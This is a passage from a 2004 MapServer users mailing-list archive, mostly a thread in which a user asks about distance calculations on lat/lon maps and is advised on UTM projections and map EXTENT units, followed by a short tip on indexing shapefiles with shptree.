the end of this email.=20 =20 NAME MAPREQUEST SYMBOLSET "maprequest.sym" EXTENT -178.226733 18.914590 -66.953248 71.381356 # Set dynamically (Does this now need to be in meters?) SIZE 586 586 UNITS DD # What should this be? TRANSPARENT OFF FONTSET "maprequest.fon" IMAGECOLOR 204 255 255 IMAGETYPE PNG SHAPEPATH /layers/ PROJECTION "init=3Depsg:26915" END =09 LAYER NAME "Boundary" DATA "cty90" STATUS ON TYPE POLYGON TEMPLATE "foo" CLASS COLOR 255 255 204 OUTLINECOLOR 255 255 204 END PROJECTION "proj=3Dlatlong" END END =09 Thanks again! =20 Ed McNierney wrote: Yes, that helps a lot. First, you MUST project your data if you're going to create a raster image of it, unless your users have ellipsoidal monitor screens . Using lat/lon coordinates as X/Y coordinates is a projection, too - it's just not a very useful one for most purposes. If you're going to measure distances you need appropriately projected maps. =20 You might do best with the UTM projection family. It is simple, common, and easy to use. It is not an equidistant projection and there will be a VERY small distortion, but for areas as small as yours I think it will be completely invisible. There are other more accurate projections (equidistant conic, for example) that require more work on your part. =20 You do, however, need to choose the appropriate UTM zone for each map you make, based on the longitude of the center point. If you try to make a map that is very small scale (showing a large portion of the country) it will look strange around the edges. But if you make maps of less than a few hundred miles in extent no one will notice. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 3:29 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation =09 =09 We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off.=20 =20 So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right? =20 Thanks and let me know if you need more detail to provide suggestions. Ed McNierney wrote:=20 I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line. =20 As I said, if you can provide more detail we can offer more advice. For example, if all your distances are at a "small scale", that's more detail (you didn't say that before). That helps define the problem better and helps us suggest solutions. Please describe the problem you're trying to solve and we'll help! =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 3:15 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation =09 =09 I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right: =20 Point 1 (Lon,Lat): -87.6552,41.9148 Point 2 (Lon,Lat): -87.8081,41.8884 =20 Cartesian Distance between Point 1 and 2 in miles: 11.2 Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1=20 =20 Thanks again. =09 Ed McNierney wrote: First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! =20 Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. =20 You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. =20 Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. =20 If you can provide a bit more detail on what you're trying to do we can offer more advice. =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation =09 =09 Thank you for your quick response. =20 Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? =20 Again, point me elsewhere if I am pushing in the wrong direction. =20 Thank you, =20 Map Guy =09 Ed McNierney wrote: Dear Map Guy - =20 If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. =20 Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. =20 You need to choose a projected coordinate system in order to do reasonable distance measurements. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation =09 =09 We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.=20 =20 2 questions: =20 1. Should we be seeing this much difference in distances? =20 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? =20 Thanks in advance. =20 P.S. Point me somewhere else if this is the wrong place to ask these questions. =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 ------_=_NextPart_001_01C402C5.7F02C354 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Sr. Guy -
 
No, that's not even close.  You need to = understand at=20 least a little about the UTM projection in order to use it.  The = PROJ=20 library is a good tool and the one MapServer uses - you can learn a LOT = about it=20 from the PROJ site at http://www.remotesensing.org/p= roj
 
And please introduce yourself to people who are = spending=20 quite a bit of time helping you - thanks!
 
    - Ed
 

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242 =


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Friday, March 05, 2004 10:18 AM
To: Ed=20 McNierney
Cc: = mapserver-users at lists.gis.umn.edu
Subject: RE:=20 [Mapserver-users] Distance Calculation

Ok. The extent unit needs to match the output projection unit. So = if we=20 have been working in lat/long decimal degrees, is it safe to do = something=20 like:
 
    mapRectObj.minx=3DMapXml->minx * 1855.398 * = 60; // lat=20 in degrees * 1' in m * 60'
    = mapRectObj.miny=3DMapXml->miny=20 * 1855.398 * 60;
    mapRectObj.maxx=3DMapXml->maxx = *=20 1855.398 * 60;
    mapRectObj.maxy=3DMapXml->maxy * = 1855.398=20 * 60;
where MapXml->minx, etc. are in decimal degrees. Or, do we have = to=20 account for where these are in order to figure out the factor for = conversion to=20 meters?
 
And, does the same thing go when we try to figure out the pixel = coordinate,=20 like in this case:
 
   =20 centerPixelX=3Drint((MapXml->referencePoint->longitude -=20 Map->extent.minx)/Scale);
where MapXml->referencePoint->longitude is in decimal=20 degrees.
 
Thanks.

Ed McNierney <ed at topozone.com>=20 wrote:
Mr. Guy -
 
1. If your output map images are to be in the = UTM (or any=20 other) projection, then your EXTENT needs to be expressed in the = native units=20 of that projection.  So yes, you do need to express your EXTENT = in=20 meters.
 
2. You do NOT have to convert your = data.  Read the=20 MapServer documentation about projections; you can have source data = layers in=20 any projection or as unprojected lat/lon degrees and MapServer will = project=20 the data on the fly to produce the output map.  This works very=20 well.
 
   =20 - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Friday, March 05, 2004 9:59 AM
To: Ed=20 McNierney
Cc: = mapserver-users at lists.gis.umn.edu
Subject:=20 RE: [Mapserver-users] Distance Calculation

Thank you very much for your help so far.
 
Up to this point we have been making all of calculations for our = maps in=20 lat/long degrees. So, for instance, our map extent is given in = lat/long=20 degrees. This acts as a window into our source geographic pjoection = layers.=20 Based on what you have said, we now want our output to be projected to = UTM. Do=20 we now need to convert all of our lat/long degrees to meters for this = to work=20 (what is a good way to do this, if so)? An example would be our map = extent -=20 does this now need to be in meters? Is there no way to specify = everything in=20 lat/long degrees for accessing our source data and then have the end = result=20 projected to UTM? Our map file (simplified) is at the end of this = email.=20
 
NAME MAPREQUEST
SYMBOLSET "maprequest.sym"
EXTENT = -178.226733=20 18.914590 -66.953248 71.381356 # Set dynamically (Does this now need = to be in=20 meters?)
SIZE  586 586
UNITS DD # What should this=20 be?
TRANSPARENT OFF
FONTSET "maprequest.fon"
IMAGECOLOR  = 204 255=20 255
IMAGETYPE PNG
SHAPEPATH /layers/

PROJECTION
       =20 "init=3Depsg:26915"
END
LAYER
        NAME=20 "Boundary"
        DATA=20 "cty90"
        STATUS=20 ON
        TYPE=20 POLYGON
        TEMPLATE=20 "foo"
       =20 = CLASS
          &nbs= p;    =20 COLOR 255 255=20 = 204
           =     =20 OUTLINECOLOR  255 255 = 204
       =20 END
       =20 = PROJECTION
          = ;     =20 "proj=3Dlatlong"
        = END
END

Thanks again!
 

Ed McNierney <ed at topozone.com> = wrote:
Yes, that helps a lot.  First, you = MUST project=20 your data if you're going to create a raster image of it, unless = your users=20 have ellipsoidal monitor screens <g>.  Using lat/lon = coordinates=20 as X/Y coordinates is a projection, too - it's just not a very = useful one=20 for most purposes.  If you're going to measure distances you = need=20 appropriately projected maps.
 
You might do best with the UTM projection = family. =20 It is simple, common, and easy to use.  It is not an = equidistant=20 projection and there will be a VERY small distortion, but for areas = as small=20 as yours I think it will be completely invisible.  There are = other more=20 accurate projections (equidistant conic, for example) that require = more work=20 on your part.
 
You do, however, need to choose the = appropriate UTM=20 zone for each map you make, based on the longitude of the center=20 point.  If you try to make a map that is very small scale = (showing a=20 large portion of the country) it will look strange around the = edges. =20 But if you make maps of less than a few hundred miles in extent no = one will=20 notice.
 
   =20 - Ed
 

Ed McNierney
President and Chief = Mapmaker
TopoZone.com=20 / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North=20 Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Wednesday, March 03, 2004 3:29 PM
To: Ed=20 McNierney
Cc: = mapserver-users at lists.gis.umn.edu
Subject:=20 RE: [Mapserver-users] Distance Calculation

We are trying to map underlying layers = like=20 streets, parks, cities, etc. taken from TIGER for the United States. = Then on=20 top of this we are drawing a ring usually less than 20 miles with = the center=20 being the center of the map. Then we are mapping points given to us = with=20 lat/lon. In the legend we put the distance of the point from the = center of=20 the map. It is this distance which when done with Great Circle calc = raised=20 the red flag because the distance would put the point outside the = circle=20 when it was being drawn inside the circle. If we used Cartesian = distance,=20 then the distance would be off.
 
So, based on your answers, we MUST = project our data=20 in order for our distance shown in the legend to be accurate and = also match=20 what we draw on the map, right?
 
Thanks and let me know if you need more = detail to=20 provide suggestions.


Ed McNierney=20 <ed at topozone.com> wrote:=20
I don't know what a "Cartesian" distance = in miles=20 means when your units are in degrees and the conversion between = degrees=20 and miles depends on the length and the orientation of the=20 line.
 
As I said, if you can provide more detail = we can=20 offer more advice.  For example, if all your distances are at = a=20 "small scale", that's more detail (you didn't say that = before).  That=20 helps define the problem better and helps us suggest = solutions. =20 Please describe the problem you're trying to solve and we'll=20 help!
 
   =20 - = Ed

Ed McNierney
President and Chief=20 Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton = Street,=20 Suite 305
North Chelmsford, MA  = 01863
ed at topozone.com
(978)=20 251-4242


From: Map Guy=20 [mailto:mappington at yahoo.com]
Sent: Wednesday, March = 03, 2004=20 3:15 PM
To: Ed McNierney
Cc:=20 mapserver-users at lists.gis.umn.edu
Subject: RE: = [Mapserver-users]=20 Distance Calculation

I know it is a very simple question, but I didn't think the = results=20 would be so different at such a small scale. Would you tell me if = these=20 results seem right:
 
Point 1 (Lon,Lat): -87.6552,41.9148
Point 2 (Lon,Lat): -87.8081,41.8884
 
Cartesian Distance between Point 1 and 2 in miles: 11.2
Great Circle (assuming sphere) Distance between Point 1 and = 2: 8.1=20
 
Thanks again.

Ed McNierney=20 <ed at topozone.com> wrote:
First, please ALWAYS reply to the = entire=20 list.  That way everyone benefits from the conversation, = and the=20 first person to answer your question doesn't have to make a = lifetime=20 commitment to further questions!
 
Yes, of course you can choose one = projection=20 for your entire set of data.  Or you could switch based on = what=20 you're mapping.  The reason there are so many map = projections is=20 because each has different properties, and therefore does some = things=20 well and other things less well.  The classic Mercator = projection=20 is excellent if you are navigating with a compass; it is very = poor if=20 you're trying to persuade someone that Brazil is several times = larger=20 than Greenland.
 
You also need to have a feel for what = level of=20 accuracy you need for your measurements.  The UTM family of = projections is popular in part because it allows fairly accurate = distance measurements, does not distort shapes badly, and is = easy to=20 use.  However, you need 10 different UTM zones to cover the = lower=20 48 states.  If you need even more accuracy a custom = Transverse=20 Mercator projection centered on the longitude of your = central point=20 would be better.
 
Mapping large areas in a single map = is harder=20 to do in an appealing way than mapping small areas, because = spatial=20 distortion becomes more obvious.
 
If you can provide a bit more detail = on what=20 you're trying to do we can offer more = advice.
 
    - = Ed

Ed McNierney
President and Chief=20 Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton = Street,=20 Suite 305
North Chelmsford, MA =20 01863
ed at topozone.com
(978) 251-4242=20


From: Map Guy=20 [mailto:mappington at yahoo.com]
Sent: Wednesday, March = 03, 2004=20 2:01 PM
To: Ed McNierney
Subject: RE:=20 [Mapserver-users] Distance Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set = of data=20 which includes the whole United States (TIGER data). Or, do I = somehow=20 have to switch based on what I am mapping? If the latter is = true, then=20 do you have a suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong=20 direction.
 
Thank you,
 
Map Guy

Ed McNierney = <ed at topozone.com>=20 wrote:
Dear Map Guy = -
 
If you draw an 8-mile = ring on a=20 "geographic projection" map it will not be a circle.  If = you=20 create a map with a 20-mile extent it will not be a=20 square.
 
Maps using "geographic = projection" are=20 useless for making distance measurements; you simply cannot do = them in=20 any kind of sensible way.  The width of the top edge = (east-west)=20 of your "20 mile" image is DIFFERENT than the width of the = bottom=20 edge.  In fact, each row of pixels running across the = image has a=20 different width in miles/feet/meters because they're all = different=20 distances from the Equator.  That's why the set of all = points 8=20 miles from a given point is not a circle or ring; it's not = even an=20 ellipse.
 
You need to choose a = projected=20 coordinate system in order to do reasonable distance=20 measurements.
 
    - Ed
 

Ed McNierney
President and Chief=20 Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 = Princeton=20 Street, Suite 305
North Chelmsford, MA =20 01863
ed at topozone.com
(978) 251-4242=20


From: Map Guy=20 [mailto:mappington at yahoo.com]
Sent: Wednesday, = March 03,=20 2004 12:21 PM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: = [Mapserver-users]=20 Distance Calculation

We use TIGER data for our mapping data source. We use a=20 geographic projection (lat/lon). When we draw an 8 mile ring = on a map=20 with a 20 mile extent, and we plot a point and = calculate the=20 distance from the center using Great Circle we get 7.5 = miles.=20 Using a Cartesian calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in = distances?
 
2. What is the correct way to draw a ring on a map using = a=20 geographic projection (lat/lon) and display distances between = points=20 using Great Circle without the distance placing the point = incorrectly=20 inside or outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place = to ask=20 these questions.

Do you Yahoo!?
Yahoo! Search - Find = what you’re=20 looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re=20 looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re=20 looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking for=20 faster. ------_=_NextPart_001_01C402C5.7F02C354-- From woodbri at swoodbridge.com Fri Mar 5 07:20:00 2004 From: woodbri at swoodbridge.com (woodbri at swoodbridge.com) Date: Fri, 05 Mar 2004 10:20:00 -0500 Subject: [Mapserver-users] Indexing of Shapefiles In-Reply-To: Message-ID: <40485450.7699.58741AA@localhost> Darren, You should build spatial indexes for all your shapefiles. this speeds up query and display. find data_dir -name "*.shp" -exec shptree {} \; should improve things. It assumes you are on Linux/Unix and the you have shptree in the path. shptree creates the mapserver spatial index *.qix and can be found in your mapserver build directory. -Steve W. On 5 Mar 2004 at 9:38, Darren.Cope at statcan.ca wrote: > Hi all, > > I have several very large shapefiles that I wish to display. Everything > works fine, except that rending and querying take a _long_ time. Does > MapServer work with attribute indexes on shapefiles to speed up queries? > Spatial indexes to speed up queries? I have read about the TILEINDEX but am > not sure how this applies to a single large shapefile. > > Any help would be appreciated! > > Thanks, > > Darren Cope > Statistics Canada/Statistique Canada > Geography Division/Division de la g?ographie > Jean Talon 3D5 > Ottawa, Canada > (613) 951-6461 > > From mappington at yahoo.com Fri Mar 5 07:32:32 2004 From: mappington at yahoo.com (Map Guy) Date: Fri, 5 Mar 2004 07:32:32 -0800 (PST) Subject: [Mapserver-users] Distance Calculation In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E3EB3@mercator.topozone.com> Message-ID: <20040305153232.65794.qmail@web61104.mail.yahoo.com> --0-1594918802-1078500752=:64665 Content-Type: text/plain; charset=us-ascii I will check out http://www.remotesensing.org/proj. I apologize for bombarding you with questions. I will stop now. I would prefer to remain anonymous. Thanks for all of your help. Ed McNierney wrote: Sr. Guy - No, that's not even close. You need to understand at least a little about the UTM projection in order to use it. The PROJ library is a good tool and the one MapServer uses - you can learn a LOT about it from the PROJ site at http://www.remotesensing.org/proj And please introduce yourself to people who are spending quite a bit of time helping you - thanks! - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Friday, March 05, 2004 10:18 AM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation Ok. The extent unit needs to match the output projection unit. So if we have been working in lat/long decimal degrees, is it safe to do something like: mapRectObj.minx=MapXml->minx * 1855.398 * 60; // lat in degrees * 1' in m * 60' mapRectObj.miny=MapXml->miny * 1855.398 * 60; mapRectObj.maxx=MapXml->maxx * 1855.398 * 60; mapRectObj.maxy=MapXml->maxy * 1855.398 * 60; where MapXml->minx, etc. are in decimal degrees. Or, do we have to account for where these are in order to figure out the factor for conversion to meters? And, does the same thing go when we try to figure out the pixel coordinate, like in this case: centerPixelX=rint((MapXml->referencePoint->longitude - Map->extent.minx)/Scale); where MapXml->referencePoint->longitude is in decimal degrees. Thanks. Ed McNierney wrote: Mr. Guy - 1. If your output map images are to be in the UTM (or any other) projection, then your EXTENT needs to be expressed in the native units of that projection. So yes, you do need to express your EXTENT in meters. 2. You do NOT have to convert your data. Read the MapServer documentation about projections; you can have source data layers in any projection or as unprojected lat/lon degrees and MapServer will project the data on the fly to produce the output map. This works very well. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Friday, March 05, 2004 9:59 AM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation Thank you very much for your help so far. Up to this point we have been making all of calculations for our maps in lat/long degrees. So, for instance, our map extent is given in lat/long degrees. This acts as a window into our source geographic pjoection layers. Based on what you have said, we now want our output to be projected to UTM. Do we now need to convert all of our lat/long degrees to meters for this to work (what is a good way to do this, if so)? An example would be our map extent - does this now need to be in meters? Is there no way to specify everything in lat/long degrees for accessing our source data and then have the end result projected to UTM? Our map file (simplified) is at the end of this email. NAME MAPREQUEST SYMBOLSET "maprequest.sym" EXTENT -178.226733 18.914590 -66.953248 71.381356 # Set dynamically (Does this now need to be in meters?) SIZE 586 586 UNITS DD # What should this be? TRANSPARENT OFF FONTSET "maprequest.fon" IMAGECOLOR 204 255 255 IMAGETYPE PNG SHAPEPATH /layers/ PROJECTION "init=epsg:26915" END LAYER NAME "Boundary" DATA "cty90" STATUS ON TYPE POLYGON TEMPLATE "foo" CLASS COLOR 255 255 204 OUTLINECOLOR 255 255 204 END PROJECTION "proj=latlong" END END Thanks again! Ed McNierney wrote: Yes, that helps a lot. First, you MUST project your data if you're going to create a raster image of it, unless your users have ellipsoidal monitor screens . Using lat/lon coordinates as X/Y coordinates is a projection, too - it's just not a very useful one for most purposes. If you're going to measure distances you need appropriately projected maps. You might do best with the UTM projection family. It is simple, common, and easy to use. It is not an equidistant projection and there will be a VERY small distortion, but for areas as small as yours I think it will be completely invisible. There are other more accurate projections (equidistant conic, for example) that require more work on your part. You do, however, need to choose the appropriate UTM zone for each map you make, based on the longitude of the center point. If you try to make a map that is very small scale (showing a large portion of the country) it will look strange around the edges. But if you make maps of less than a few hundred miles in extent no one will notice. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 3:29 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off. So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right? Thanks and let me know if you need more detail to provide suggestions. Ed McNierney wrote: I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line. As I said, if you can provide more detail we can offer more advice. For example, if all your distances are at a "small scale", that's more detail (you didn't say that before). That helps define the problem better and helps us suggest solutions. Please describe the problem you're trying to solve and we'll help! - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 3:15 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right: Point 1 (Lon,Lat): -87.6552,41.9148 Point 2 (Lon,Lat): -87.8081,41.8884 Cartesian Distance between Point 1 and 2 in miles: 11.2 Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1 Thanks again. Ed McNierney wrote: First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. If you can provide a bit more detail on what you're trying to do we can offer more advice. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation Thank you for your quick response. Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? Again, point me elsewhere if I am pushing in the wrong direction. Thank you, Map Guy Ed McNierney wrote: Dear Map Guy - If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. You need to choose a projected coordinate system in order to do reasonable distance measurements. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles. 2 questions: 1. Should we be seeing this much difference in distances? 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? Thanks in advance. P.S. Point me somewhere else if this is the wrong place to ask these questions. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --0-1594918802-1078500752=:64665 Content-Type: text/html; charset=us-ascii
 
I apologize for bombarding you with questions. I will stop now. I would prefer to remain anonymous.
 
Thanks for all of your help.
 
Ed McNierney <ed at topozone.com> wrote:
Sr. Guy -
 
No, that's not even close.  You need to understand at least a little about the UTM projection in order to use it.  The PROJ library is a good tool and the one MapServer uses - you can learn a LOT about it from the PROJ site at http://www.remotesensing.org/proj
 
And please introduce yourself to people who are spending quite a bit of time helping you - thanks!
 
    - Ed
 

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Friday, March 05, 2004 10:18 AM
To: Ed McNierney
Cc: mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] Distance Calculation

Ok. The extent unit needs to match the output projection unit. So if we have been working in lat/long decimal degrees, is it safe to do something like:
 
    mapRectObj.minx=MapXml->minx * 1855.398 * 60; // lat in degrees * 1' in m * 60'
    mapRectObj.miny=MapXml->miny * 1855.398 * 60;
    mapRectObj.maxx=MapXml->maxx * 1855.398 * 60;
    mapRectObj.maxy=MapXml->maxy * 1855.398 * 60;
where MapXml->minx, etc. are in decimal degrees. Or, do we have to account for where these are in order to figure out the factor for conversion to meters?
 
And, does the same thing go when we try to figure out the pixel coordinate, like in this case:
 
    centerPixelX=rint((MapXml->referencePoint->longitude - Map->extent.minx)/Scale);
where MapXml->referencePoint->longitude is in decimal degrees.
 
Thanks.

Ed McNierney <ed at topozone.com> wrote:
Mr. Guy -
 
1. If your output map images are to be in the UTM (or any other) projection, then your EXTENT needs to be expressed in the native units of that projection.  So yes, you do need to express your EXTENT in meters.
 
2. You do NOT have to convert your data.  Read the MapServer documentation about projections; you can have source data layers in any projection or as unprojected lat/lon degrees and MapServer will project the data on the fly to produce the output map.  This works very well.
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
